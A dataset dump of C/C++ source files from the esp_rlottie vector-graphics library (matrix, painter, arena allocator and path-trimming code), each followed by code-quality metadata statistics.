if (path.empty() || mNoLength) return VPath();
if (mNoGap) return path;
VPath result;
dashHelper(path, result);
return result;
}
V_END_NAMESPACE
| 7,123
|
vdasher
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 764, "qsc_code_num_chars": 7123.0, "qsc_code_mean_word_length": 5.5104712, "qsc_code_frac_words_unique": 0.29842932, "qsc_code_frac_chars_top_2grams": 0.02612827, "qsc_code_frac_chars_top_3grams": 0.02019002, "qsc_code_frac_chars_top_4grams": 0.0064133, "qsc_code_frac_chars_dupe_5grams": 0.18574822, "qsc_code_frac_chars_dupe_6grams": 0.10071259, "qsc_code_frac_chars_dupe_7grams": 0.07553444, "qsc_code_frac_chars_dupe_8grams": 0.07553444, "qsc_code_frac_chars_dupe_9grams": 0.07030879, "qsc_code_frac_chars_dupe_10grams": 0.03847981, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00995025, "qsc_code_frac_chars_whitespace": 0.29453882, "qsc_code_size_file_byte": 7123.0, "qsc_code_num_lines": 254.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 28.04330709, "qsc_code_frac_chars_alphabet": 0.8278607, "qsc_code_frac_chars_comments": 0.2096027, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2688172, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0044405, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.02150538, "qsc_codecpp_frac_lines_func_ratio": 0.01075269, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.03763441, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vmatrix.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VMATRIX_H
#define VMATRIX_H
#include "vglobal.h"
#include "vpoint.h"
#include "vrect.h"
V_BEGIN_NAMESPACE
struct VMatrixData;
class VMatrix {
public:
enum class Axis { X, Y, Z };
enum class MatrixType: unsigned char {
None = 0x00,
Translate = 0x01,
Scale = 0x02,
Rotate = 0x04,
Shear = 0x08,
Project = 0x10
};
VMatrix() = default;
bool isAffine() const;
bool isIdentity() const;
bool isInvertible() const;
bool isScaling() const;
bool isRotating() const;
bool isTranslating() const;
MatrixType type() const;
inline float determinant() const;
float m_11() const { return m11;}
float m_12() const { return m12;}
float m_13() const { return m13;}
float m_21() const { return m21;}
float m_22() const { return m22;}
float m_23() const { return m23;}
float m_tx() const { return mtx;}
float m_ty() const { return mty;}
float m_33() const { return m33;}
VMatrix &translate(VPointF pos) { return translate(pos.x(), pos.y()); }
VMatrix &translate(float dx, float dy);
VMatrix &scale(VPointF s) { return scale(s.x(), s.y()); }
VMatrix &scale(float sx, float sy);
VMatrix &shear(float sh, float sv);
VMatrix &rotate(float a, Axis axis = VMatrix::Axis::Z);
VMatrix &rotateRadians(float a, Axis axis = VMatrix::Axis::Z);
VPointF map(const VPointF &p) const;
inline VPointF map(float x, float y) const;
VRect map(const VRect &r) const;
V_REQUIRED_RESULT VMatrix inverted(bool *invertible = nullptr) const;
V_REQUIRED_RESULT VMatrix adjoint() const;
VMatrix operator*(const VMatrix &o) const;
VMatrix & operator*=(const VMatrix &);
VMatrix & operator*=(float mul);
VMatrix & operator/=(float div);
bool operator==(const VMatrix &) const;
bool operator!=(const VMatrix &) const;
bool fuzzyCompare(const VMatrix &) const;
float scale() const;
private:
friend struct VSpanData;
float m11{1}, m12{0}, m13{0};
float m21{0}, m22{1}, m23{0};
float mtx{0}, mty{0}, m33{1};
mutable MatrixType mType{MatrixType::None};
mutable MatrixType dirty{MatrixType::None};
};
inline float VMatrix::scale() const
{
constexpr float SQRT_2 = 1.41421f;
VPointF p1(0, 0);
VPointF p2(SQRT_2, SQRT_2);
p1 = map(p1);
p2 = map(p2);
VPointF final = p2 - p1;
return std::sqrt(final.x() * final.x() + final.y() * final.y()) / 2.0f;
}
inline VPointF VMatrix::map(float x, float y) const
{
return map(VPointF(x, y));
}
V_END_NAMESPACE
#endif // VMATRIX_H
| 4,041
|
vmatrix
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 526, "qsc_code_num_chars": 4041.0, "qsc_code_mean_word_length": 4.76806084, "qsc_code_frac_words_unique": 0.3973384, "qsc_code_frac_chars_top_2grams": 0.04385965, "qsc_code_frac_chars_top_3grams": 0.03189793, "qsc_code_frac_chars_top_4grams": 0.01116427, "qsc_code_frac_chars_dupe_5grams": 0.10845295, "qsc_code_frac_chars_dupe_6grams": 0.06140351, "qsc_code_frac_chars_dupe_7grams": 0.02073365, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03202726, "qsc_code_frac_chars_whitespace": 0.27369463, "qsc_code_size_file_byte": 4041.0, "qsc_code_num_lines": 116.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 34.8362069, "qsc_code_frac_chars_alphabet": 0.82248722, "qsc_code_frac_chars_comments": 0.28730512, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.025, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00833333, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00833333, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.3625, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.4125, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vpainter.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VPAINTER_H
#define VPAINTER_H
#include "vbrush.h"
#include "vpoint.h"
#include "vrle.h"
#include "vdrawhelper.h"
V_BEGIN_NAMESPACE
class VBitmap;
class VPainter {
public:
VPainter() = default;
explicit VPainter(VBitmap *buffer);
bool begin(VBitmap *buffer);
void end();
void setDrawRegion(const VRect ®ion); // sub surface rendering area.
void setBrush(const VBrush &brush);
void setBlendMode(BlendMode mode);
void drawRle(const VPoint &pos, const VRle &rle);
void drawRle(const VRle &rle, const VRle &clip);
VRect clipBoundingRect() const;
void drawBitmap(const VPoint &point, const VBitmap &bitmap, const VRect &source, uint8_t const_alpha = 255);
void drawBitmap(const VRect &target, const VBitmap &bitmap, const VRect &source, uint8_t const_alpha = 255);
void drawBitmap(const VPoint &point, const VBitmap &bitmap, uint8_t const_alpha = 255);
void drawBitmap(const VRect &rect, const VBitmap &bitmap, uint8_t const_alpha = 255);
private:
void drawBitmapUntransform(const VRect &target, const VBitmap &bitmap,
const VRect &source, uint8_t const_alpha);
VRasterBuffer mBuffer;
VSpanData mSpanData;
};
V_END_NAMESPACE
#endif // VPAINTER_H
| 2,422
|
vpainter
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 332, "qsc_code_num_chars": 2422.0, "qsc_code_mean_word_length": 5.30421687, "qsc_code_frac_words_unique": 0.46385542, "qsc_code_frac_chars_top_2grams": 0.04997161, "qsc_code_frac_chars_top_3grams": 0.05110733, "qsc_code_frac_chars_top_4grams": 0.04542873, "qsc_code_frac_chars_dupe_5grams": 0.2044293, "qsc_code_frac_chars_dupe_6grams": 0.2044293, "qsc_code_frac_chars_dupe_7grams": 0.2044293, "qsc_code_frac_chars_dupe_8grams": 0.2044293, "qsc_code_frac_chars_dupe_9grams": 0.14991482, "qsc_code_frac_chars_dupe_10grams": 0.12549688, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01074169, "qsc_code_frac_chars_whitespace": 0.19281585, "qsc_code_size_file_byte": 2422.0, "qsc_code_num_lines": 60.0, "qsc_code_num_chars_line_max": 114.0, "qsc_code_num_chars_line_mean": 40.36666667, "qsc_code_frac_chars_alphabet": 0.89002558, "qsc_code_frac_chars_comments": 0.49256813, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02847844, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.4516129, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.61290323, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/varenaalloc.cpp
|
/*
* Copyright 2016 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "varenaalloc.h"
#include <algorithm>
#include <new>
static char* end_chain(char*) { return nullptr; }
static uint32_t first_allocated_block(uint32_t blockSize, uint32_t firstHeapAllocation) {
return firstHeapAllocation > 0 ? firstHeapAllocation :
blockSize > 0 ? blockSize : 1024;
}
VArenaAlloc::VArenaAlloc(char* block, size_t size, size_t firstHeapAllocation)
: fDtorCursor {block}
, fCursor {block}
, fEnd {block + ToU32(size)}
, fFirstBlock {block}
, fFirstSize {ToU32(size)}
, fFirstHeapAllocationSize {first_allocated_block(ToU32(size), ToU32(firstHeapAllocation))}
{
if (size < sizeof(Footer)) {
fEnd = fCursor = fDtorCursor = nullptr;
}
if (fCursor != nullptr) {
this->installFooter(end_chain, 0);
}
}
VArenaAlloc::~VArenaAlloc() {
RunDtorsOnBlock(fDtorCursor);
}
void VArenaAlloc::reset() {
this->~VArenaAlloc();
new (this) VArenaAlloc{fFirstBlock, fFirstSize, fFirstHeapAllocationSize};
}
void VArenaAlloc::installFooter(FooterAction* action, uint32_t padding) {
assert(padding < 64);
int64_t actionInt = (int64_t)(intptr_t)action;
// The top 14 bits should be either all 0s or all 1s. Check this.
assert((actionInt << 6) >> 6 == actionInt);
Footer encodedFooter = (actionInt << 6) | padding;
memmove(fCursor, &encodedFooter, sizeof(Footer));
fCursor += sizeof(Footer);
fDtorCursor = fCursor;
}
void VArenaAlloc::installPtrFooter(FooterAction* action, char* ptr, uint32_t padding) {
memmove(fCursor, &ptr, sizeof(char*));
fCursor += sizeof(char*);
this->installFooter(action, padding);
}
char* VArenaAlloc::SkipPod(char* footerEnd) {
char* objEnd = footerEnd - (sizeof(Footer) + sizeof(int32_t));
int32_t skip;
memmove(&skip, objEnd, sizeof(int32_t));
return objEnd - skip;
}
void VArenaAlloc::RunDtorsOnBlock(char* footerEnd) {
while (footerEnd != nullptr) {
Footer footer;
memcpy(&footer, footerEnd - sizeof(Footer), sizeof(Footer));
FooterAction* action = (FooterAction*)(footer >> 6);
ptrdiff_t padding = footer & 63;
footerEnd = action(footerEnd) - padding;
}
}
char* VArenaAlloc::NextBlock(char* footerEnd) {
char* objEnd = footerEnd - (sizeof(Footer) + sizeof(char*));
char* next;
memmove(&next, objEnd, sizeof(char*));
RunDtorsOnBlock(next);
delete [] objEnd;
return nullptr;
}
void VArenaAlloc::installUint32Footer(FooterAction* action, uint32_t value, uint32_t padding) {
memmove(fCursor, &value, sizeof(uint32_t));
fCursor += sizeof(uint32_t);
this->installFooter(action, padding);
}
void VArenaAlloc::ensureSpace(uint32_t size, uint32_t alignment) {
constexpr uint32_t headerSize = sizeof(Footer) + sizeof(ptrdiff_t);
// The chrome c++ library we use does not define std::max_align_t.
// This must be conservative to add the right amount of extra memory to handle the alignment
// padding.
constexpr uint32_t alignof_max_align_t = 8;
constexpr uint32_t maxSize = std::numeric_limits<uint32_t>::max();
constexpr uint32_t overhead = headerSize + sizeof(Footer);
AssertRelease(size <= maxSize - overhead);
uint32_t objSizeAndOverhead = size + overhead;
if (alignment > alignof_max_align_t) {
uint32_t alignmentOverhead = alignment - 1;
AssertRelease(objSizeAndOverhead <= maxSize - alignmentOverhead);
objSizeAndOverhead += alignmentOverhead;
}
uint32_t minAllocationSize;
if (fFirstHeapAllocationSize <= maxSize / fFib0) {
minAllocationSize = fFirstHeapAllocationSize * fFib0;
fFib0 += fFib1;
std::swap(fFib0, fFib1);
} else {
minAllocationSize = maxSize;
}
uint32_t allocationSize = std::max(objSizeAndOverhead, minAllocationSize);
// Round up to a nice size. If > 32K align to 4K boundary else up to max_align_t. The > 32K
// heuristic is from the JEMalloc behavior.
{
uint32_t mask = allocationSize > (1 << 15) ? (1 << 12) - 1 : 16 - 1;
AssertRelease(allocationSize <= maxSize - mask);
allocationSize = (allocationSize + mask) & ~mask;
}
char* newBlock = new char[allocationSize];
auto previousDtor = fDtorCursor;
fCursor = newBlock;
fDtorCursor = newBlock;
fEnd = fCursor + allocationSize;
this->installPtrFooter(NextBlock, previousDtor, 0);
}
char* VArenaAlloc::allocObjectWithFooter(uint32_t sizeIncludingFooter, uint32_t alignment) {
uintptr_t mask = alignment - 1;
restart:
uint32_t skipOverhead = 0;
bool needsSkipFooter = fCursor != fDtorCursor;
if (needsSkipFooter) {
skipOverhead = sizeof(Footer) + sizeof(uint32_t);
}
char* objStart = (char*)((uintptr_t)(fCursor + skipOverhead + mask) & ~mask);
uint32_t totalSize = sizeIncludingFooter + skipOverhead;
//std::cout<<"non POD object size = "<<totalSize<<"\n";
if ((ptrdiff_t)totalSize > fEnd - objStart) {
this->ensureSpace(totalSize, alignment);
goto restart;
}
AssertRelease((ptrdiff_t)totalSize <= fEnd - objStart);
// Install a skip footer if needed, thus terminating a run of POD data. The calling code is
// responsible for installing the footer after the object.
if (needsSkipFooter) {
this->installUint32Footer(SkipPod, ToU32(fCursor - fDtorCursor), 0);
}
return objStart;
}
| 5,584
|
varenaalloc
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 598, "qsc_code_num_chars": 5584.0, "qsc_code_mean_word_length": 6.2173913, "qsc_code_frac_words_unique": 0.29598662, "qsc_code_frac_chars_top_2grams": 0.04895105, "qsc_code_frac_chars_top_3grams": 0.02420656, "qsc_code_frac_chars_top_4grams": 0.02178591, "qsc_code_frac_chars_dupe_5grams": 0.05755783, "qsc_code_frac_chars_dupe_6grams": 0.02689618, "qsc_code_frac_chars_dupe_7grams": 0.02689618, "qsc_code_frac_chars_dupe_8grams": 0.02689618, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02862986, "qsc_code_frac_chars_whitespace": 0.2118553, "qsc_code_size_file_byte": 5584.0, "qsc_code_num_lines": 166.0, "qsc_code_num_chars_line_max": 97.0, "qsc_code_num_chars_line_mean": 33.63855422, "qsc_code_frac_chars_alphabet": 0.81617814, "qsc_code_frac_chars_comments": 0.12965616, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.032, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0026749, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.048, "qsc_codecpp_frac_lines_preprocessor_directives": 0.024, "qsc_codecpp_frac_lines_func_ratio": 0.016, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.008, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.056, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vpathmesure.cpp
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "vpathmesure.h"
#include <limits>
#include "vbezier.h"
#include "vdasher.h"
V_BEGIN_NAMESPACE
/*
* start and end value must be normalized to [0 - 1]
* Path mesure trims the path from [start --> end]
* if start > end it treates as a loop and trims as two segment
* [0-->end] and [start --> 1]
*/
VPath VPathMesure::trim(const VPath &path)
{
if (vCompare(mStart, mEnd)) return VPath();
if ((vCompare(mStart, 0.0f) && (vCompare(mEnd, 1.0f))) ||
(vCompare(mStart, 1.0f) && (vCompare(mEnd, 0.0f))))
return path;
float length = path.length();
if (mStart < mEnd) {
float array[4] = {
0.0f, length * mStart, // 1st segment
(mEnd - mStart) * length,
std::numeric_limits<float>::max(), // 2nd segment
};
VDasher dasher(array, 4);
dasher.dashed(path, mScratchObject);
return mScratchObject;
} else {
float array[4] = {
length * mEnd, (mStart - mEnd) * length, // 1st segment
(1 - mStart) * length,
std::numeric_limits<float>::max(), // 2nd segment
};
VDasher dasher(array, 4);
dasher.dashed(path, mScratchObject);
return mScratchObject;
}
}
V_END_NAMESPACE
| 2,413
|
vpathmesure
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 324, "qsc_code_num_chars": 2413.0, "qsc_code_mean_word_length": 4.92283951, "qsc_code_frac_words_unique": 0.44444444, "qsc_code_frac_chars_top_2grams": 0.05517241, "qsc_code_frac_chars_top_3grams": 0.01630094, "qsc_code_frac_chars_top_4grams": 0.02758621, "qsc_code_frac_chars_dupe_5grams": 0.14420063, "qsc_code_frac_chars_dupe_6grams": 0.14420063, "qsc_code_frac_chars_dupe_7grams": 0.14420063, "qsc_code_frac_chars_dupe_8grams": 0.14420063, "qsc_code_frac_chars_dupe_9grams": 0.14420063, "qsc_code_frac_chars_dupe_10grams": 0.14420063, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01466594, "qsc_code_frac_chars_whitespace": 0.23704932, "qsc_code_size_file_byte": 2413.0, "qsc_code_num_lines": 67.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 36.01492537, "qsc_code_frac_chars_alphabet": 0.85171103, "qsc_code_frac_chars_comments": 0.58599254, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.34482759, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.03103103, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.13793103, "qsc_codecpp_frac_lines_func_ratio": 0.10344828, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.34482759, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
